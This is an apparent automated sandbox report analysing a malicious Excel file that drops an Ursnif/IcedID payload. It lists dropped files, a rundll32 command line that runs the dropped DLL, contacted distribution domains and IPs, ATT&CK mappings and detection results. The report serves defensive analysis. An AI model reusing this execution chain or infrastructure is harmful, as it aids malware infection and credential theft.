          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\0104[1].gifJump to dropped file
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\fikftkm.thj2Jump to dropped file
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\0104[1].gifJump to dropped file
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\fikftkm.thj2Jump to dropped file

          Boot Survival:

          barindex
          Drops PE files to the user root directoryShow sources
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\fikftkm.thj2Jump to dropped file

          Hooking and other Techniques for Hiding and Protection:

          barindex
          Yara detected UrsnifShow sources
          Source: Yara matchFile source: 00000006.00000002.2275673660.0000000000270000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 6.2.rundll32.exe.270000.1.raw.unpack, type: UNPACKEDPE
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\System32\rundll32.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
          Source: C:\Windows\SysWOW64\rundll32.exeWindow / User API: threadDelayed 463Jump to behavior
          Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\0104[1].gifJump to dropped file
          Source: C:\Windows\SysWOW64\rundll32.exeCode function: 6_2_00122A69 xor edi, dword ptr fs:[00000030h]6_2_00122A69

          HIPS / PFW / Operating System Protection Evasion:

          barindex
          Yara detected hidden Macro 4.0 in ExcelShow sources
          Source: Yara matchFile source: document-1245492889.xls, type: SAMPLE
          Source: C:\Windows\System32\rundll32.exeProcess created: C:\Windows\SysWOW64\rundll32.exe rundll32 ..\fikftkm.thj2,DllRegisterServerJump to behavior
          Source: Yara matchFile source: document-1245492889.xls, type: SAMPLE

          Stealing of Sensitive Information:

          barindex
          Yara detected UrsnifShow sources
          Source: Yara matchFile source: 00000006.00000002.2275673660.0000000000270000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 6.2.rundll32.exe.270000.1.raw.unpack, type: UNPACKEDPE

          Remote Access Functionality:

          barindex
          Yara detected UrsnifShow sources
          Source: Yara matchFile source: 00000006.00000002.2275673660.0000000000270000.00000004.00000001.sdmp, type: MEMORY
          Source: Yara matchFile source: 6.2.rundll32.exe.270000.1.raw.unpack, type: UNPACKEDPE

          Mitre Att&ck Matrix

          Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
          Valid AccountsScripting31Path InterceptionProcess Injection11Masquerading121OS Credential DumpingApplication Window Discovery1Remote ServicesArchive Collected Data1Exfiltration Over Other Network MediumEncrypted Channel12Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
          Default AccountsExploitation for Client Execution33Boot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsDisable or Modify Tools1LSASS MemoryFile and Directory Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothIngress Tool Transfer1Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
          Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Process Injection11Security Account ManagerSystem Information Discovery2SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationNon-Application Layer Protocol1Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
          Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Scripting31NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled TransferApplication Layer Protocol2SIM Card SwapCarrier Billing Fraud
          Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptObfuscated Files or Information1LSA SecretsRemote System DiscoverySSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
          Replication Through Removable MediaLaunchdRc.commonRc.commonRundll321Cached Domain CredentialsSystem Owner/User DiscoveryVNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.

          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          document-1245492889.xls54%VirustotalBrowse
          document-1245492889.xls35%MetadefenderBrowse
          document-1245492889.xls18%ReversingLabsDocument-Excel.Trojan.IcedID

          Dropped Files

          SourceDetectionScannerLabelLink
          C:\Users\user\fikftkm.thj2100%Joe Sandbox ML
          C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\0104[1].gif100%Joe Sandbox ML

          Unpacked PE Files

          No Antivirus matches

          Domains

          No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          http://www.icra.org/vocabulary/.0%URL Reputationsafe
          http://www.icra.org/vocabulary/.0%URL Reputationsafe
          http://www.icra.org/vocabulary/.0%URL Reputationsafe
          http://windowsmedia.com/redir/services.asp?WMPFriendly=true0%URL Reputationsafe
          http://windowsmedia.com/redir/services.asp?WMPFriendly=true0%URL Reputationsafe
          http://windowsmedia.com/redir/services.asp?WMPFriendly=true0%URL Reputationsafe

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          mundotecnologiasolar.com
          		162.241.62.4
          		truefalse
            		unknown
            accesslinksgroup.com
            		192.185.129.4
            		truefalse
              		unknown
              ponchokhana.com
              		5.100.155.169
              		truefalse
                		unknown
                vts.us.com
                		207.174.213.126
                		truefalse
                  		unknown
                  comosairdoburaco.com.br
                  		198.50.218.68
                  		truefalse
                    		unknown

                    URLs from Memory and Binaries

                    NameSourceMaliciousAntivirus DetectionReputation
                    http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Checkrundll32.exe, 00000003.00000002.2115568867.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2109524493.0000000001DF7000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2278827735.0000000001C77000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2277292535.0000000001DB7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2177880792.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2171790992.0000000001CC7000.00000002.00000001.sdmpfalse
                      		high
                      http://www.windows.com/pctv.rundll32.exe, 00000008.00000002.2177701429.0000000001BB0000.00000002.00000001.sdmpfalse
                        		high
                        http://investor.msn.comrundll32.exe, 00000003.00000002.2115424423.0000000001BB0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2109348201.0000000001C10000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2278669504.0000000001A90000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2275869797.0000000001BD0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2177701429.0000000001BB0000.00000002.00000001.sdmpfalse
                          		high
                          http://www.msnbc.com/news/ticker.txtrundll32.exe, 00000003.00000002.2115424423.0000000001BB0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2109348201.0000000001C10000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2278669504.0000000001A90000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2275869797.0000000001BD0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2177701429.0000000001BB0000.00000002.00000001.sdmpfalse
                            		high
                            http://www.icra.org/vocabulary/.rundll32.exe, 00000003.00000002.2115568867.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2109524493.0000000001DF7000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2278827735.0000000001C77000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2277292535.0000000001DB7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2177880792.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2171790992.0000000001CC7000.00000002.00000001.sdmpfalse
                            • URL Reputation: safe
                            • URL Reputation: safe
                            • URL Reputation: safe
                            		unknown
                            http://windowsmedia.com/redir/services.asp?WMPFriendly=truerundll32.exe, 00000003.00000002.2115568867.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2109524493.0000000001DF7000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2278827735.0000000001C77000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2277292535.0000000001DB7000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2177880792.0000000001D97000.00000002.00000001.sdmp, rundll32.exe, 00000009.00000002.2171790992.0000000001CC7000.00000002.00000001.sdmpfalse
                            • URL Reputation: safe
                            • URL Reputation: safe
                            • URL Reputation: safe
                            		unknown
                            http://www.hotmail.com/oerundll32.exe, 00000003.00000002.2115424423.0000000001BB0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2109348201.0000000001C10000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2278669504.0000000001A90000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2275869797.0000000001BD0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2177701429.0000000001BB0000.00000002.00000001.sdmpfalse
                              		high
                              http://investor.msn.com/rundll32.exe, 00000003.00000002.2115424423.0000000001BB0000.00000002.00000001.sdmp, rundll32.exe, 00000004.00000002.2109348201.0000000001C10000.00000002.00000001.sdmp, rundll32.exe, 00000005.00000002.2278669504.0000000001A90000.00000002.00000001.sdmp, rundll32.exe, 00000006.00000002.2275869797.0000000001BD0000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2177701429.0000000001BB0000.00000002.00000001.sdmpfalse
                                		high

                                Contacted IPs

                                • No. of IPs < 25%
                                • 25% < No. of IPs < 50%
                                • 50% < No. of IPs < 75%
                                • 75% < No. of IPs

                                Public

                                IPDomainCountryFlagASNASN NameMalicious
                                207.174.213.126
                                		vts.us.comUnited States
                                		394695PUBLIC-DOMAIN-REGISTRYUSfalse
                                198.50.218.68
                                		comosairdoburaco.com.brCanada
                                		16276OVHFRfalse
                                162.241.62.4
                                		mundotecnologiasolar.comUnited States
                                		46606UNIFIEDLAYER-AS-1USfalse
                                5.100.155.169
                                		ponchokhana.comUnited Kingdom
                                		394695PUBLIC-DOMAIN-REGISTRYUSfalse
                                192.185.129.4
                                		accesslinksgroup.comUnited States
                                		46606UNIFIEDLAYER-AS-1USfalse

                                General Information

                                Joe Sandbox Version:31.0.0 Emerald
                                Analysis ID:383157
                                Start date:07.04.2021
                                Start time:10:55:10
                                Joe Sandbox Product:CloudBasic
                                Overall analysis duration:0h 7m 59s
                                Hypervisor based Inspection enabled:false
                                Report type:full
                                Sample file name:document-1245492889.xls
                                Cookbook file name:defaultwindowsofficecookbook.jbs
                                Analysis system description:Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
                                Number of analysed new started processes analysed:12
                                Number of new started drivers analysed:0
                                Number of existing processes analysed:0
                                Number of existing drivers analysed:0
                                Number of injected processes analysed:0
                                Technologies:
                                • HCA enabled
                                • EGA enabled
                                • HDC enabled
                                • AMSI enabled
                                Analysis Mode:default
                                Analysis stop reason:Timeout
                                Detection:MAL
                                Classification:mal100.troj.expl.evad.winXLS@13/17@5/5
                                EGA Information:
                                • Successful, ratio: 100%
                                HDC Information:
                                • Successful, ratio: 98.4% (good quality ratio 85.8%)
                                • Quality average: 64.1%
                                • Quality standard deviation: 33.3%
                                HCA Information:
                                • Successful, ratio: 100%
                                • Number of executed functions: 2
                                • Number of non-executed functions: 18
                                Cookbook Comments:
                                • Adjust boot time
                                • Enable AMSI
                                • Found application associated with file extension: .xls
                                • Found Word or Excel or PowerPoint or XPS Viewer
                                • Found warning dialog
                                • Click Ok
                                • Attach to Office via COM
                                • Scroll down
                                • Close Viewer
                                Warnings:
                                Show All
                                • Exclude process from analysis (whitelisted): dllhost.exe, WmiPrvSE.exe, svchost.exe
                                • Excluded IPs from analysis (whitelisted): 23.0.174.185, 23.0.174.200, 192.35.177.64
                                • Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, audownload.windowsupdate.nsatc.net, apps.digsigtrust.com, ctldl.windowsupdate.com, a767.dscg3.akamai.net, au-bg-shim.trafficmanager.net, apps.identrust.com
                                • Report size getting too big, too many NtDeviceIoControlFile calls found.

                                Simulations

                                Behavior and APIs

                                TimeTypeDescription
                                10:57:08API Interceptor1x Sleep call for process: rundll32.exe modified

                                Joe Sandbox View / Context

                                IPs

                                MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                207.174.213.126document-1305160161.xlsbGet hashmaliciousBrowse
                                • nhseven.tk/ds/08.gif
                                document-414236719.xlsbGet hashmaliciousBrowse
                                • nhseven.tk/ds/08.gif
                                document-1249966242.xlsbGet hashmaliciousBrowse
                                • nhseven.tk/ds/08.gif
                                http://anandice.ac.in/Paid-Invoice-Credit-Card-Receipt/Get hashmaliciousBrowse
                                • anandice.ac.in/Paid-Invoice-Credit-Card-Receipt/
                                198.50.218.68document-1048628209.xlsGet hashmaliciousBrowse
                                  document-1771131239.xlsGet hashmaliciousBrowse
                                    document-1370071295.xlsGet hashmaliciousBrowse
                                      document-69564892.xlsGet hashmaliciousBrowse
                                        document-1320073816.xlsGet hashmaliciousBrowse
                                          document-184653858.xlsGet hashmaliciousBrowse
                                            document-1729033050.xlsGet hashmaliciousBrowse
                                              document-1268722929.xlsGet hashmaliciousBrowse
                                                document-540475316.xlsGet hashmaliciousBrowse
                                                  document-1456634656.xlsGet hashmaliciousBrowse
                                                    document-12162673.xlsGet hashmaliciousBrowse
                                                      document-997754822.xlsGet hashmaliciousBrowse
                                                        document-1376447212.xlsGet hashmaliciousBrowse
                                                          document-1813856412.xlsGet hashmaliciousBrowse
                                                            document-1776123548.xlsGet hashmaliciousBrowse
                                                              document-1201008736.xlsGet hashmaliciousBrowse
                                                                document-684762271.xlsGet hashmaliciousBrowse
                                                                  document-1590815978.xlsGet hashmaliciousBrowse
                                                                    document-800254041.xlsGet hashmaliciousBrowse
                                                                      document-469719570.xlsGet hashmaliciousBrowse

                                                                        Domains

                                                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                        ponchokhana.comFED8GODpaD.xlsbGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        catalogue-41.xlsbGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-1048628209.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-1771131239.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-1370071295.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-69564892.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-1320073816.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-184653858.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-1729033050.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-1268722929.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-540475316.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-1456634656.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-12162673.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-997754822.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-1376447212.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-1813856412.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-1776123548.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-1201008736.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-684762271.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-1590815978.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        mundotecnologiasolar.comdocument-1048628209.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-1771131239.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-1370071295.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-69564892.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-1320073816.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-184653858.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-1729033050.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-1268722929.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-540475316.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-1456634656.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-12162673.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-997754822.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-1376447212.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-1813856412.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-1776123548.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-1201008736.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-684762271.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-1590815978.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-800254041.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        document-469719570.xlsGet hashmaliciousBrowse
                                                                        • 162.241.62.4
                                                                        accesslinksgroup.comdocument-1048628209.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-1771131239.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-1370071295.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-69564892.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-1320073816.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-184653858.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-1729033050.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-1268722929.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-540475316.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-1456634656.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-12162673.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-997754822.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-1376447212.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-1813856412.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-1776123548.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-1201008736.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-684762271.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-1590815978.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-800254041.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4
                                                                        document-469719570.xlsGet hashmaliciousBrowse
                                                                        • 192.185.129.4

                                                                        ASN

                                                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                        UNIFIEDLAYER-AS-1USNotice-039539.xlsmGet hashmaliciousBrowse
                                                                        • 192.185.21.127
                                                                        Notice-039539.xlsmGet hashmaliciousBrowse
                                                                        • 192.185.21.127
                                                                        documents-2112491607.xlsmGet hashmaliciousBrowse
                                                                        • 192.185.56.250
                                                                        RFQ_AP65425652_032421 v#U00e1#U00ba#U00a5n #U00c4#U2018#U00e1#U00bb ,pdf.exeGet hashmaliciousBrowse
                                                                        • 74.220.199.6
                                                                        Order.exeGet hashmaliciousBrowse
                                                                        • 192.254.225.101
                                                                        FED8GODpaD.xlsbGet hashmaliciousBrowse
                                                                        • 108.167.180.111
                                                                        1A8C92C-1A8C92C.xlsGet hashmaliciousBrowse
                                                                        • 192.232.249.186
                                                                        1A8C92C-1A8C92C.xlsGet hashmaliciousBrowse
                                                                        • 192.232.249.186
                                                                        SecuriteInfo.com.Trojan.Agent.FFFK.8079.xlsGet hashmaliciousBrowse
                                                                        • 192.232.249.186
                                                                        SecuriteInfo.com.Trojan.Agent.FFFK.23764.xlsGet hashmaliciousBrowse
                                                                        • 192.232.249.186
                                                                        SecuriteInfo.com.Heur.19090.xlsGet hashmaliciousBrowse
                                                                        • 192.232.249.186
                                                                        SALM0BRU.exeGet hashmaliciousBrowse
                                                                        • 162.241.148.243
                                                                        Purchase Order.8000.scan.pdf...exeGet hashmaliciousBrowse
                                                                        • 162.241.148.243
                                                                        SecuriteInfo.com.Heur.4923.xlsGet hashmaliciousBrowse
                                                                        • 192.232.249.186
                                                                        SecuriteInfo.com.Heur.4923.xlsGet hashmaliciousBrowse
                                                                        • 192.232.249.186
                                                                        document-1251000362.xlsmGet hashmaliciousBrowse
                                                                        • 192.185.48.186
                                                                        document-1251000362.xlsmGet hashmaliciousBrowse
                                                                        • 192.185.48.186
                                                                        catalogue-41.xlsbGet hashmaliciousBrowse
                                                                        • 108.167.180.111
                                                                        documents-1660683173.xlsmGet hashmaliciousBrowse
                                                                        • 192.185.56.250
                                                                        06iKnPFk8Y.dllGet hashmaliciousBrowse
                                                                        • 162.241.54.59
                                                                        PUBLIC-DOMAIN-REGISTRYUSVAT INVOICE.exeGet hashmaliciousBrowse
                                                                        • 208.91.199.224
                                                                        IMG_00000000001.PDF.exeGet hashmaliciousBrowse
                                                                        • 208.91.198.143
                                                                        documents-2112491607.xlsmGet hashmaliciousBrowse
                                                                        • 111.118.215.222
                                                                        FED8GODpaD.xlsbGet hashmaliciousBrowse
                                                                        • 5.100.152.162
                                                                        New Order PO#121012020_____PDF_______.exeGet hashmaliciousBrowse
                                                                        • 208.91.199.225
                                                                        document-1251000362.xlsmGet hashmaliciousBrowse
                                                                        • 199.79.62.99
                                                                        document-1251000362.xlsmGet hashmaliciousBrowse
                                                                        • 199.79.62.99
                                                                        document-1055791644.xlsGet hashmaliciousBrowse
                                                                        • 103.50.162.157
                                                                        catalogue-41.xlsbGet hashmaliciousBrowse
                                                                        • 5.100.152.162
                                                                        documents-1660683173.xlsmGet hashmaliciousBrowse
                                                                        • 111.118.215.222
                                                                        swift Copy.xls.exeGet hashmaliciousBrowse
                                                                        • 208.91.199.225
                                                                        document-1848152474.xlsmGet hashmaliciousBrowse
                                                                        • 199.79.62.99
                                                                        FN vw Safety 1 & 2.exeGet hashmaliciousBrowse
                                                                        • 208.91.199.223
                                                                        MV TBN.uslfze.exeGet hashmaliciousBrowse
                                                                        • 208.91.199.224
                                                                        purchase order.exeGet hashmaliciousBrowse
                                                                        • 208.91.199.223
                                                                        AD1-2001028L.exeGet hashmaliciousBrowse
                                                                        • 208.91.199.224
                                                                        AD1-2001028L (2).exeGet hashmaliciousBrowse
                                                                        • 208.91.199.224
                                                                        document-1048628209.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-1771131239.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        document-1370071295.xlsGet hashmaliciousBrowse
                                                                        • 5.100.155.169
                                                                        OVHFRNATO_042021-1re4.docGet hashmaliciousBrowse
                                                                        • 51.254.63.225
                                                                        payment.exeGet hashmaliciousBrowse
                                                                        • 51.91.220.49
                                                                        B of L - way bill return.exeGet hashmaliciousBrowse
                                                                        • 51.89.93.216
                                                                        bOkrXdoYekZPyWI.exeGet hashmaliciousBrowse
                                                                        • 66.70.204.222
                                                                        06iKnPFk8Y.dllGet hashmaliciousBrowse
                                                                        • 51.91.76.89
                                                                        06iKnPFk8Y.dllGet hashmaliciousBrowse
                                                                        • 51.91.76.89
                                                                        SwiftMT103_pdf.exeGet hashmaliciousBrowse
                                                                        • 51.89.9.195
                                                                        1517679127365.exeGet hashmaliciousBrowse
                                                                        • 144.217.66.69
                                                                        7z7Q51Y8Xd.dllGet hashmaliciousBrowse
                                                                        • 51.91.76.89
                                                                        pySsaGoiCT.dllGet hashmaliciousBrowse
                                                                        • 51.91.76.89
                                                                        QOpv1PykFc.dllGet hashmaliciousBrowse
                                                                        • 51.91.76.89
                                                                        S4caD0RhXL.dllGet hashmaliciousBrowse
                                                                        • 51.91.76.89
                                                                        pH8YW11W1x.dllGet hashmaliciousBrowse
                                                                        • 51.91.76.89
                                                                        7z7Q51Y8Xd.dllGet hashmaliciousBrowse
                                                                        • 51.91.76.89
                                                                        pySsaGoiCT.dllGet hashmaliciousBrowse
